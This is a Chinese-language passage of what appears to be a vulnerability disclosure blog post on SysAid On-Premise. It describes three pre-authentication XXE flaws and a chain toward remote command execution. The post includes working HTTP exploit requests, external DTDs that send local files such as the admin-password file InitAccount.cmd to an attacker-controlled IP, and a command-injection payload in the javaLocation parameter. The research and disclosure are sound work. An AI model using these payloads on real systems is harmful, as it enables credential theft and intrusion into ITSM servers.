又过了一周,又出现了一个显然对勒索软件团伙有经验但在电子邮件方面却举步维艰的供应商。
在我们所看到的其他人所说的“watchTowr 处理”中,我们再次(令人惊讶地)披露了漏洞研究,该研究使我们能够针对另一个针对企业的产品获得预先认证的远程命令执行 - 具体来说,就是 SysAid On-Premise(版本23.3.40),以下简称“SysAid”。
SysAid 的产品阵容说明
尽管 SysAid 的网站经常将“SysAid ITSM”和“SysAid HelpDesk”描述为不同的产品,但它们只是同一核心平台的不同品牌标签。实际上,SysAid 仅根据部署模型提供两种独立的产品:
SysAid On-Prem:该平台的经典自托管版本,可在您自己的数据中心或私有云内安装和管理。SysAid
SaaS:该平台的完全托管、云交付版本,由 SysAid 维护,可通过 Web 浏览器访问。
简单浏览一下新闻就会发现,SysAid 对漏洞并不陌生,他们的“业务关键型”解决方案此前已经受到勒索软件团伙的关注。
在最近的博客文章中,我们讨论了“业务关键型”设备,并发现您常用的备份和复制设备中存在大量漏洞。因此,我们认为是时候关注另一个业务关键型工具——IT 服务管理 (ITSM) 解决方案了。
ITSM 解决方案真正称得上是业务关键型基础设施。它们通常作为支持工单的主要接口,并负责存储所有与内部工单、事件、知识库条目和资产清单相关的敏感信息。
毋庸置疑,ITSM 是真正的、面向互联网的宝库,是您附近的恶棍、红队和松鼠的宝库。
毫不奇怪,正是由于这些因素,ITSM 解决方案仍然是勒索软件团伙极具吸引力的目标,他们寻找任何机会对组织进行双重勒索、加密系统和窃取敏感数据。
今天,我们将向您介绍我们发现的以下漏洞:
-
CVE-2025-2775——XML 外部实体注入
-
CVE-2025-2776——XML 外部实体注入
-
CVE-2025-2777——XML 外部实体注入
小编注:享受时间线吧。
让我们深入了解一下我们在今年早些时候如何以 SYSTEM 权限实现完整的预认证远程命令执行 (RCE)。
我们经常会寻找“有趣的”企业设备和软件,寻找能给我们带来……感觉的软件。
这种感觉——通常被定义为共鸣、直觉和模因能力——深深地触动了我们,SysAid On-Prem 引起了我们的注意,促使我们进行了进一步的研究。一旦这种感觉得到满足,我们就会更有条理地决定是否应该投入更多时间:
-
它是关键业务设备吗?是的。
-
它在公共互联网上是否非常流行?勾选。
-
它包含敏感信息吗?当然。
-
它曾经被威胁者攻击过吗?有。
架构
可以将 SysAid 服务器想象成您机柜中的另一个 Windows 机箱,只不过这个服务器可以处理您交给它的每个 IT 票证、资产记录和帮助台魔法。
在内部部署中,SysAid 作为基于 Windows Server 的应用程序在您组织的基础架构中运行。
SysAid Windows 安装程序设置了一些后台服务,但其核心非常令人兴奋 - 它是一个由 Java 驱动的 Web 服务器,可直接从捆绑的 JAR 文件运行。
主要应用程序逻辑位于中sysaid.jar,它当然是包含数百个类的常见 18mb JAR 文件。
虽然 SysAid 提供了丰富而广泛的功能集,但每个附加功能和额外能力都会扩大我们必须评估的整体攻击面。
与往常一样,我们的首要目标是更好地理解我们正在看的东西,并规划出系统的功能。
快速浏览一下,web.xml就会发现有超过 700 个暴露的 Java servlet,这是一个庞大的生态系统,错误配置和被忽视的边缘错误可能潜伏其中而不被察觉。这自然为事情发生严重错误提供了相当大的机会。
第一个预授权XXE
我们的旅程从识别端点内的预授权 XXE 开始/mdm/checkin。
由于命名约定,我们立即怀疑移动设备很可能使用此方法作为移动设备管理流程的一部分,定期 ping SysAid 实例以共享其状态。
因此,当深入代码库时,我们的目光就集中在寻找所有与 MDM 和请求解析有关的东西。
很快(我们的意思是,非常非常快),我们就找到了一种满足所有这些要求的方法,它是 GetMdmMessage 类的一部分:
com.ilient.mdm.GetMdmMessage#doPost
此方法负责处理指向/mdm/前缀路径的传入请求。具体来说,如果请求 URI 为/mdm/checkin,则此方法负责调用PropertyListParser.parse(byteArray)函数来处理 HTTP POST 请求中包含的用户提供的数据——当然,无需进行验证或过滤。
以下是我们感兴趣的代码片段:
1: publicvoid doPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) {2: String requestURI = httpServletRequest.getRequestURI();3: String stringBuffer = httpServletRequest.getRequestURL().toString();4: if (IlientConf.getInstance().getConf().getLoadAccountsOnDemand()) {5: stringBuffer = stringBuffer.replace("http:", "https:");6: }7: String accountIDFromURL = Helper.getAccountIDFromURL(stringBuffer, Services.getInstance(getServletContext()));8: if (stringBuffer.lastIndexOf("/mdm/") > 0) {9: this.f1371a = stringBuffer.substring(0, stringBuffer.lastIndexOf("/") + 1);10: } else {11: this.f1371a = stringBuffer.substring(0, stringBuffer.lastIndexOf("/mobile")) + "/mdm/";12: }13: 14: [..SNIP..]15: 16: } elseif (requestURI.endsWith("checkin")) {17: IlientConf.logger.debug("GetMdmMessage 5: CHECK_IN");18: 19: // XXE Vulnerability is triggered here20: NSDictionary parse2 = PropertyListParser.parse(byteArray);21: 22: String obj3 = parse2.objectForKey("MessageType").toString();23: parse2.objectForKey("Topic");24: String obj4 = parse2.objectForKey("UDID").toString();25: if (obj3.equals("TokenUpdate")) {26: String obj5 = parse2.objectForKey("PushMagic").toString();
让我们逐行分解以下代码:
-
行 [2]:用户提供的 URI 存储在requestURI变量中。
-
行 [3]:请求 URL 存储在stringBuffer变量中。
-
行 [8]:代码检查是否stringBuffer包含/mdm/路径。
-
行 [16]:如果/mdm/检查通过,代码将验证是否requestURI以 结尾"checkin"。
-
行 [20]:如果上述检查通过,则解析用户提供的数据,从而触发 XXE。
按照这个逻辑,通过发送以下请求就可以触发第一个 XXE:
POST/mdm/checkin HTTP/1.1Host: targetContent-Type: application/xmlContent-Length: 129<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % foo SYSTEM "http://poc-server/watchTowr.dtd">%foo;]>
我们迅速返回一个带有空白响应的 HTTP 200,并立即尝试/watchTowr.dtd从攻击者控制的服务器获取:
此请求包含我们最喜欢的 XXE 成功指标之一,即一个明显的 Java User-Agent,证明我们已成功触发该漏洞:
砰!教科书XXE。
我们并不满意这确实是我们要进行的漏洞研究,因此我们继续寻找更多......
第一个 t秒预授权 XXE,但不同
第二个 Pre-Auth XXE 漏洞发生在同一方法中,但在不同的行上
com.ilient.mdm.GetMdmMessage#doPost
在第 3 行[21], POST 请求中用户提供的数据再次被解析,PropertyListParser.parse且没有经过任何清理,从而导致另一个 XXE:
1: publicvoid doPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) {2: String requestURI = httpServletRequest.getRequestURI();3: String stringBuffer = httpServletRequest.getRequestURL().toString();4: if (IlientConf.getInstance().getConf().getLoadAccountsOnDemand()) {5: stringBuffer = stringBuffer.replace("http:", "https:");6: }7: String accountIDFromURL = Helper.getAccountIDFromURL(stringBuffer, Services.getInstance(getServletContext()));8: if (stringBuffer.lastIndexOf("/mdm/") > 0) {9: this.f1371a = stringBuffer.substring(0, stringBuffer.lastIndexOf("/") + 1);10: } else {11: this.f1371a = stringBuffer.substring(0, stringBuffer.lastIndexOf("/mobile")) + "/mdm/";12: }13: [..SNIP..]14: 15: 16: } elseif (requestURI.endsWith("serverurl")) {17: newString(byteArray);18: IlientConf.logger.debug("GetMdmMessage 8: SERVER_URL");19: // XXE vulnerability here20: 21: NSDictionary parse3 = PropertyListParser.parse(byteArray);
如果我们逐行分解以下代码:
-
行 [2]:用户提供的 URI 存储在requestURI变量中。
-
行 [3]:请求 URL 存储在stringBuffer变量中。
-
行 [8]:代码检查是否stringBuffer包含/mdm/路径。
-
行 [16]:如果/mdm/检查通过,代码将验证是否requestURI以 结尾"serverurl"。
-
行[21]:如果上述检查通过,则解析用户提供的数据,从而触发 XXE。
以下请求会触发该漏洞
POST/mdm/serverurl HTTP/1.1Host: targetContent-Type: application/xmlContent-Length: 129<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % foo SYSTEM "http://poc-server/watchTowr.dtd">%foo;]>
再次,我们返回一个带有空白响应的 HTTP 200,并立即尝试/watchTowr.dtd从攻击者控制的服务器获取数据,这表明成功:
第三次预授权XXE
第三个 XXE 在向端点发送请求时触发/lshw,导致以下方法得到执行:
com.ilient.agentApi.LshwAgent#doPost
说实话,这个方法没什么用。它主要用来包装一些 HTTP 参数是否存在。
一旦我们摆脱了那种兴奋的混乱,就会调用另一种方法来处理主要逻辑,通过执行以下语句来实现new b().a():
publicclassLshwAgentextendsHttpServlet{publicvoiddoPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse){try {if (new b().a(new CharArrayReader(MiscUtils.ReaderToChars(httpServletRequest.getReader())), Helper.convertParameter(httpServletRequest, ContentPackSchedulerConstants.ACCOUNT_ID), Helper.convertParameter(httpServletRequest, "serial"), Helper.convertParameter(httpServletRequest, "osName"), Helper.convertParameter(httpServletRequest, "osVer"), Helper.convertParameter(httpServletRequest, "osCode"), Helper.convertParameter(httpServletRequest, "osKernel"), Helper.convertParameter(httpServletRequest, "agentVersion"), httpServletRequest, getServletContext())) { httpServletResponse.getWriter().println("OK"); } else { httpServletResponse.sendError(500, "Error while processing request."); } } catch (Exception e) { IlientConf.logger.error("Exception in LshwAgent", e); httpServletResponse.sendError(500, "Error while processing request."); } }}
快速运行阅读此代码,最终调用了以下方法:
com.ilient.agentApi.b#a
这个 XXE 漏洞很容易被利用。
用户提供的 HTTP POST 请求直接由此方法处理,执行多个操作,最终到达我们感兴趣的代码片段:
1: public final boolean a(Reader reader, String str, String str2, String str3, String str4, String str5, String str6, String str7, HttpServletRequest httpServletRequest, ServletContext servletContext) {2: MessageDocument newInstance;3: MessageType addNewMessage;4: SoftwareType addNewSoftware;5: InventoryType inventory;6: MachineType addNewMachine;7: boolean z;8: BufferedReader bufferedReader;9: String str8;10: StringBuffer stringBuffer;11: int indexOf;12: try {13: newInstance = MessageDocument.Factory.newInstance();14: addNewMessage = newInstance.addNewMessage();15: addNewSoftware = addNewMessage.addNewBody().addNewInventory().addNewSoftware();16: this.z = addNewMessage.getBody().getInventory().addNewStorageDevices();17: inventory = addNewMessage.getBody().getInventory();18: addNewMachine = inventory.addNewMachine();19: this.y = addNewMachine.addNewMachineSMBIOS();20: this.D = inventory.addNewDisplay();21: z = false;22: 23: [..SNIP..]24: }25: } elseif (z) {26: if (readLine.startsWith("**********software-end**********")) {27: z = false;28: } else {29: String[] split = readLine.split("\\|\\|\\|");30: if (split != null && split.length >= 5) {31: addNewSoftware.addSoftwareProduct(split[0] + " - " + split[2] + SysaidConstants.DEFAULT_DOMAIN + split[1]);32: }33: }34: } elseif (z) {35: if (readLine.startsWith("**********partitions-end**********")) {36: z = false;37: } else {38: String[] split2 = readLine.split("[ \\t]+");39: int i = split2[0].length() > 0 ? 0 : 1;40: if (split2 != null && split2.length >= 4 && !split2[i + 0].equalsIgnoreCase("major")) {41: String str9 = split2[i + 3];42: if (str8 == null || !str9.startsWith(str8)) {43: str8 = str9;44: String str10 = "/dev/" + str9;45: StorageDeviceType addNewStorageDevice = this.z.addNewStorageDevice();46: addNewStorageDevice.setStorageLogicalName(str10);47: addNewStorageDevice.setStorageCapacity(a(split2[i + 2]) << 10);48: }49: }50: }51: }52: } elseif (readLine.startsWith("**********lshw-begin**********")) {53: z = true;54: } elseif (readLine.startsWith("**********meminfo-begin**********")) {55: z = true;56: } elseif (readLine.startsWith("**********cpuinfo-begin**********")) {57: z = true;58: } elseif (readLine.startsWith("**********software-begin**********")) {59: z = true;60: } elseif (readLine.startsWith("**********partitions-begin**********")) {61: z = true;62: } else {63: stringBuffer.append(readLine);64: stringBuffer.append('\n');65: }66: IlientConf.logger.error("Error while parsing request", e);67: returnfalse;68: }69: InputSource inputSource = new InputSource(new StringReader(stringBuffer.toString()));70: SAXParser sAXParser = new SAXParser();71: sAXParser.setContentHandler(this);72: try {73: // XXE triggered here74: sAXParser.parse(inputSource);75: } catch (Exception e3) {76: IlientConf.logger.error("Error in SAXParser ", e3);77: }
将此代码分解为我们感兴趣的操作:
-
行 [69]:将接收到的数据包装在InputSource使用
-
行 [70]:创建并配置一个新SAXParser实例。
-
行 [71]:将当前类设置为解析器的类ContentHandler。
-
行 [74]:解析用户提供的数据,触发 XXE。
这个 XXE 漏洞的利用也很简单,只需要传递一些参数,例如
-
osVer
-
osCode
-
osKernel
-
和其他..
这些参数对于满足令人兴奋的使用if()条件是必要的,这些条件再次检查所述参数的存在。
对于我们的第三个复杂XXE(complex complex complex),以下HTTP请求允许我们触发漏洞:
POST/lshw?osVer=a&osCode=b&osKernel=c&agentVersion=e&serial=f HTTP/1.1Host: targetContent-Type: application/xmlContent-Length: 129<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % foo SYSTEM "http://poc-server/watchTowr.dtd">%foo;]>
我们收到了 HTTP 200 和“OK”响应,同时立即向攻击者控制的服务器发出请求,表明成功:
表演性XXE
性能漏洞(如上述 XXE)感觉像是您可能依赖咨询公司解决的当前缺乏影响的漏洞类型 - 但是,所述咨询公司必须包装在尽可能多的品牌重塑中,只要您认为可以在短时间内实现。
无论如何,我们离题了……
刚刚装备了三个 XXE - 正如上面提到的,我们仍然缺少一些重要的东西......影响。
我们已经满足了 PoC || GTFO 要求,但是我们能用它们做什么呢?!
在典型的 XXE 方式中,我们有几种利用方式:
-
检索包含敏感信息的本地文件
-
在内部网络上戳其他系统
-
与本地主机绑定的网络服务交互
-
拒绝服务(无聊!)
我们决定轻松一点,直接尝试泄露文件内容,在本例中,我们的目标是win.ini文件。
为了做好准备,我们托管了一个exfil.dtd包含以下内容的网站:
<!ENTITY % d SYSTEM "file:///C:\windows\win.ini"><!ENTITY % c "<!ENTITYrrrSYSTEM 'http://192.168.8.107/?e=%d;'>">
POST/mdm/serverurl HTTP/1.1Host: 192.168.8.162:8080Content-Length: 119<?xml version="1.0"?><!DOCTYPE cdl [<!ENTITY % asd SYSTEM "http://192.168.8.107/exfil.dtd">%asd;%c;]><cdl>&rrr;</cdl>
我们不气馁,并假设我们不太擅长使用计算机,我们决定尝试通过手动创建一个名为secret.txt以下内容的文件来确定可能存在的限制:
更新我们的外部 DTD 以指向这个新文件,然后我们尝试使用与之前相同的有效载荷来窃取该文件:
成功了!我们立即收到了一个请求exfil.dtd,以及一个包含文件内容的第二个请求!
我们立即有了预感,并决定在文件中添加几行并再试一次:
好的,我们找到了答案——如果一个文件包含多行内容,我们就无法用我们刚刚创建的XXE漏洞进行数据泄露。这虽然有点令人沮丧,但最终还是降低了这些XXE漏洞升级为更严重问题的可能性。
注意:在最近的 Java 版本中,专门添加了此缓解措施,以阻止 XXE 攻击期间文件内容的完全泄露。一种解决方法是(滥用)使用基于错误的 XXE,但在本例中,XXE 完全是盲目的。
回顾 SysAid 的架构和我们的黑客尝试手册,也许我们可以攻击内部服务。
没有。
将 XXE 升级到管理员帐户接管
我们不气馁,继续思考。
我们问自己——在这个光鲜亮丽的企业级解决方案中,是否有可能存在一个不包含特殊字符的文件,而第一行却包含一些对我们有实质用处的内容?
如果有一个基于文本的文件,其中包含纯文本的敏感信息怎么办?
“不可能,现在是 2025 年,所有重要的东西都存储在数据库中!”我们天真而无知地想。
SysAid 比我们领先很多步,他们有不同的想法,并且好心地在文件系统上给我们留下了一个选项:
C:\Program Files\SysAidServer\logs\InitAccount.cmd
该文件由 SysAid 在安装期间创建,其第一行包含主管理员的明文密码。
"C:\ProgramFiles\SysAidServer\jre\bin\java" -cp "C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\sysaid.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\activation-1.1.1.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\activityLogEntry.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\agentSettings.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\agentSettingsv2.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\amazon-kinesis-client-2.2.11.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\amazon-sqs-java-extended-client-lib-2.0.2.jar; C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\stax-utils-0.0.1-s.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\streambuffer-0.4.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\sts-2.16.73.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\sysaid-common.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\sysaid.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\sysAidAgentFolder.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\test-utils-2.16.73.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\tika-core-2.9.1.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\usageStatisticsData.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\usageStatisticsQueries.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\utils-2.16.73.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\validation-api-1.1.0.Final.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\velocity-1.7.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\vpro-0.0.1-s.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\wmiInventory.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\wmiInventoryResp.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\wmiQuickScanResp.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\wmiScan.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\wmiScanResp.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\ws-commons-util-1.0.2.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\wsdl4j-1.6.2.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\wstx-asl-3.2.1.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\xalan-2.7.1.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\xercesImpl-2.9.0.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\xml-apis-0.0.1-s.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\xml-apis-xerces-0.0.1-s.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\xml-resolver-1.1.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\xmlbeans-2.3.0.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\xmlParserAPIs-0.0.1-s.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\xmlrpc-client-3.1.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\xmlrpc-common-3.1.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\XmlSchema-0.0.1-s.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\xpp3-1.1.4c.jar;C:\ProgramFiles\SysAidServer\root\WEB-INF\lib\zip4j-2.9.1.jar;" com.ilient.server.InitAccount "C:\ProgramFiles\SysAidServer\root" "sysaid_instance" "sysaid_instance" **"admin" "P@ssW0rd"** "2"
看看上面的例子InitAccount.cmd——你看到了吗?
在最后,您可以看到用户名和明文密码。如您在上面的输出中所见,管理员用户名是admin,密码是P@ssw0rd(作为示例)。
这很重要,因为希望能满足我们对单行文件的需求,其中包含我们可以使用的敏感数据。
这个文件最棒的地方是什么?它在安装后仍然保留在系统中,即使它已经被用来创建初始账户!
现在,你,一个拥有推理能力的敏锐人类,可能会好奇这个文件为什么存在?好吧,发生了以下事情:
-
当您执行 SysAid On-Perm 的安装程序时,系统会要求用户输入其全新管理员帐户的密码。
-
然后巧妙地获取该密码,小心地传输,然后以明文形式转储到 中InitAccount.cmd。
-
随后,解决方案安装程序会将所有解决方案文件复制到系统并要求您提供许可证。
-
如果提供了有效的许可证,则将初始化当前安装的解决方案,并作为初始化的一部分InitAccount.cmd执行。
-
这将创建具有指定密码的默认管理员帐户。
-
您会惊叹于我们为什么要为任何东西建立数据库。
你们中的许多人现在应该明白事情的走向了。
利用我们的 XXE 漏洞,我们应该能够提取此文件并检索指定的纯文本密码,从而让我们以管理员权限用户的身份获得对 SysAid 的完全管理访问权限。
我们来尝试一下。
再次强调,作为重复机器人而不是代理机器人,我们在攻击者控制的主机上托管以下 DTD:
<!ENTITY % d SYSTEM "file:///C:\Program Files\SysAidServer\logs\InitAccount.cmd"><!ENTITY % c "<!ENTITYrrrSYSTEM 'http://192.168.8.107/?e=%d;'>">
POST/mdm/serverurl HTTP/1.1Host: targetContent-Type: application/xmlContent-Length: 121<?xml version="1.0"?><!DOCTYPE cdl [<!ENTITY % asd SYSTEM "http://192.168.8.107/exfil.dtd">%asd;%c;]><cdl>&rrr;</cdl>
正如预期的那样 - 我们收到了所需文件的全部内容,其中包含我们新喜欢的纯文本密码。
但这是预先认证的远程命令执行吗?
事实并非如此,所以我们继续前进。
从管理员到被黑:SysAid RCE 快速通关
2025年1月,我们向SysAid披露了上述漏洞,并花了两个月的时间真正享受与SysAid流畅、透明、愉快的沟通。
当我们从那个妄想的梦中醒来并好奇这些漏洞是否会进一步升级时,我们查看了历史上的漏洞披露以寻求灵感。
很快,我们就发现了几个之前披露并已修补的漏洞,其中大部分是用于获取某种形式的 RCE 的路径遍历,但都是在身份验证后进行的。
利用这些新知识,我们相信可能还有更多,我们开始寻找谜题的最后一块碎片——将我们的预授权 XXE → 密码泄露转化为全面的远程命令执行。
此时,即 2025 年 3 月,当我们在 SysAid 的变更日志中发现一些行描述的补丁程序听起来很像我们披露的 XXE 漏洞(已在版本中解决)时,我们从幸福和无知的生活中被粗暴地惊醒24.4.60。
“肯定不是吧?”我们想,令人惊讶的是,尽管其他人在与我们沟通方面遇到困难,但 SysAid 却成功与他们进行了沟通。
我们有些伤心,继续阅读变更日志,注意到一些额外的内容——补丁说明中提到了“操作系统命令注入漏洞修复”。
难道就是这个?难道这就是我们为了完成这条链条所寻找的东西吗?!
编者注:需要特别声明的是,在我们收到那些显然生活中无所事事的人发来的消极攻击性推文之前,我们并没有发现/报告我们现在要详述的操作系统命令注入漏洞。无论最初是谁发现的,我们都希望能够公正地处理此事。
我们开始进行补丁差异比较,并立即发现了大量变化(超过 100 个变化),但并非所有变化都与安全有关。
有趣的是,我们并没有立即注意到这个有趣的变化(这令人惊讶,因为操作系统命令注入漏洞通常在变化中更容易被发现)。
以下编译后的 JSP 页面似乎是我们需要关注的地方:
com.ilient.jsp.API_jsp
这是差异,您看到漏洞了吗?
让我们隔离易受攻击的代码,盯着下面的代码,并阅读以下分解:
-
行 [45]:检查请求参数是否存在,updateApiSettings以确定用户是否打算更新 API 设置。
-
行 [46]:如果存在,javaLocation则直接从 HTTP 请求中提取值。
-
行 [47]:从中检索当前用户的账户 ID loginInformationBean。
-
行 [48]:通过将新内容保存javaLocation到帐户的设置中AccountPropertiesManager。
在这个阶段,没有直接的命令注入;用户输入只是被读取并存储。然而,由于JavaLocation之后会被放入shell脚本中(正如我们在第40-49行看到的那样),这变成了二阶命令注入的风险。
令人兴奋的是——我们很快意识到,我们需要准确追踪AccountPropertiesConstants.SYSAID_API_SETTINGS_JAVA_LOCATION构建和执行这些脚本时如何使用以及在何处使用,以确认它已被适当清理:
1: public final void _jspService(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) {2: LoginInformationBean loginInformationBean;3: if (!DispatcherType.ERROR.equals(httpServletRequest.getDispatcherType())) {4: String method = httpServletRequest.getMethod();5: if ("OPTIONS".equals(method)) {6: httpServletResponse.setHeader("Allow", "GET, HEAD, POST, OPTIONS");7: return;8: } else if (!OAuthMessage.GET.equals(method) && !OAuthMessage.POST.equals(method) && !"HEAD".equals(method)) {9: httpServletResponse.setHeader("Allow", "GET, HEAD, POST, OPTIONS");10: httpServletResponse.sendError(405, "JSPs only permit GET, POST or HEAD. Jasper also permits OPTIONS");11: return;12: }13: }14: JspWriter jspWriter = null;15: ?? r0 = 0;16: PageContext pageContext = null;17: try {18: httpServletResponse.setContentType("text/html");19: PageContext pageContext2 = f171a.getPageContext(this, httpServletRequest, httpServletResponse, (String) null, true, (int) Helper.USER_SELF_SERVICE, true);20: pageContext = pageContext2;21: pageContext2.getServletContext();22: pageContext2.getServletConfig();23: HttpSession session = pageContext2.getSession();24: JspWriter out = pageContext2.getOut();25: 26: [..SNIP..]27: 28: new VelocityContext();29: String str = null;30: r0 = PermissionsParams.SWITCH_TO_GROUP_SETTINGS.equals(httpServletRequest.getParameter("updateApi"));31: if (r0 != 0) {32: try {33: String str2 = GlobalPaths.getPath(loginInformationBean.getAccountID(), GlobalPathsKeys.API_DIR, true, false) + "/";34: IlientConf.logger.debug("Home dir " + IlientConf.HOME_DIR);35: IlientConf.logger.debug("apiLocation: " + str2);36: r0 = com.ilient.api.a.a.a(loginInformationBean, str2);37: str = r0;38: if (r0 == 0) {39: str = "Updating API successfully. Please restart your SysAid Serivce";40: }41: } catch (Exception e) {42: IlientConf.logger.error("Exception in updating API: ", e);43: }44: }45: if (PermissionsParams.SWITCH_TO_GROUP_SETTINGS.equals(httpServletRequest.getParameter("updateApiSettings"))) {46: String parameter = httpServletRequest.getParameter("javaLocation");47: r0 = loginInformationBean.getAccountID();48: AccountPropertiesManager.addAccountStringProperty(r0, AccountPropertiesConstants.SYSAID_API_SETTINGS_JAVA_LOCATION, parameter);49: try {50: loginInformationBean.getAccount();51: r0 = loginInformationBean;52: Account.auditAccountSave((LoginInformationBean) r0, r0.getAccountID(), resourceBundle.getString("accountSaveMsg.apiSettings"));53: } catch (Exception e2) {54: IlientConf.logger.error("Failed to save API: ", e2);55: out.write("\n <script>\n alert(\"");56: out.print(Helper.escapeToJS(resourceBundle.getString("save.fail.concurrent.modification"), loginInformationBean.getCharset()));57: out.write("\");\n location.href=\"API.jsp\";\n </script>\n ");58: }59: }60: String accountStringProperty = AccountPropertiesManager.getAccountStringProperty(loginInformationBean.getAccountID(), AccountPropertiesConstants.SYSAID_API_SETTINGS_JAVA_LOCATION);61: out.write("\n<!DOCTYPE html>\n<html style=\"overflow: hidden; width: 100%;\">\n\n<head>\n <META http-equiv=\"Content-Type\" content=\"text/html; charset=");62: out.print(loginInformationBean.getCharset());63: out.write("\"/>\n <title>");64: out.print(resourceBundle.getString("page.title"));65: 66: [..SNIP..]
AccountPropertiesConstants.*SYSAID_API_SETTINGS_JAVA_LOCATION采用以下方法:
com.ilient.api.a.a#a
1: publicstatic String a(LoginInformationBean loginInformationBean, String str) {2: String[] list;3: if (loginInformationBean == null) {4: thrownewException("Login Bean is null.");5: }6: ResourceBundle resourceBundle = loginInformationBean.getResourceBundle();7: String str2 = null;8: String accountStringProperty = AccountPropertiesManager.getAccountStringProperty(loginInformationBean.getAccountID(), AccountPropertiesConstants.SYSAID_API_SETTINGS_JAVA_LOCATION);9: if (accountStringProperty == null || accountStringProperty.trim().length() == 0) {10: return resourceBundle.getString("api.empty.path");11: }12: boolean isWindows = Helper.isWindows();13: try {14: String str3 = str + "src/com/ilient/api/";15: String str4 = str3 + "sysaidObjects/";16: new File(str4).mkdirs();17: 18: 19: [..SNIP..]20: 21: printWriter2.flush();22: printWriter2.close();23: new File(str + "/classes").mkdirs();24: list = new File(str + "../lib/").list();25: } catch (Exception e) {26: IlientConf.logger.error("Error in updating SysAid API jar file", e);27: e.printStackTrace();28: str2 = resourceBundle.getString("api.update.fail.sysaid.logs");29: }30: if (list == null || list.length == 0) {31: return resourceBundle.getString("api.webinf.lib.files.missing");32: }33: String str5 = isWindows ? ";" : ":";34: StringBuffer stringBuffer = new StringBuffer();35: for (int i = 0; i < list.length; i++) {36: if (list[i].endsWith(".jar")) {37: stringBuffer.append(str5).append("../../lib/").append(list[i]);38: }39: }40: String str6 = isWindows ? "src/updateApi.bat" : "src/updateApi.sh";41: PrintWriter printWriter5 = new PrintWriter(new FileOutputStream(str + str6));42: if (!isWindows) {43: printWriter5.write("#!/bin/sh\n");44: }45: printWriter5.write("cd \"" + str + "src\"\n");46: printWriter5.write("\"" + accountStringProperty + "javac\" -d ../classes -cp .;../../classes" + stringBuffer.toString() + " com/ilient/api/*.java com/ilient/api/sysaidObjects/*.java\n");47: printWriter5.write("\"" + accountStringProperty + "wsgen\" -d ../classes -cp .;../../classes" + str5 + "../../lib/api4sysaid.jar" + str5 + "../../lib/sysaid.jar com.ilient.api.SysaidApiService\n");48: printWriter5.write("cd ../../lib\n");49: printWriter5.write("\"" + accountStringProperty + "jar\" -cvf aapi4sysaid.jar -C ../api/classes com\n");50: printWriter5.flush();51: printWriter5.close();52: if (!isWindows && a("chmod a+x " + str + str6) != 0) {53: str2 = resourceBundle.getString("api.grant.permissions") + str + str6;54: }55: if (a(str + str6) != 0) {56: str2 = resourceBundle.getString("api.update.fail.tomcat.logs");57: }58: return str2;59: }60:
-
行 [8]:通过访问以下属性来检索 Java 安装路径AccountPropertiesConstants.SYSAID_API_SETTINGS_JAVA_LOCATION
-
行 [9]:继续之前请确认accountStringProperty不是。null
-
行 [40]:根据操作系统选择脚本文件名isWindows ? "updateApi.bat" : "updateApi.sh";
-
行 [41]:打开一个FileOutputStream使用str6为目标脚本名的脚本。
-
第 [46, 47, 49] 行 :将之前获取的 Java 路径(accountStringProperty)插入到脚本内容中,以自动执行脚本。
现在,让我们测试一下这个方法及其实际行为。
通常,该文件的内容updateApi.bat包含以下内容:
如您所见,C:\java\bin\是当前 Java 路径,文件的其余部分包含多个 shell 命令,这些命令执行 Java 代码以最终生成有关当前 SysAid 实例的 API 信息。
正如您可能在上面的方法的代码示例中发现的那样,输入验证似乎是我们认为的无形概念,它允许攻击者轻松地将其命令注入到updateApi.bat文件创建过程中。
通过发送以下请求可以证明这一点:
POST/API.jsp HTTP/1.1Host: targetContent-Type: application/x-www-form-urlencodedCookie: JSESSIONID=sessionContent-Length: 134updateApi=false&updateApiSettings=true&javaLocation="%0acalc%0a
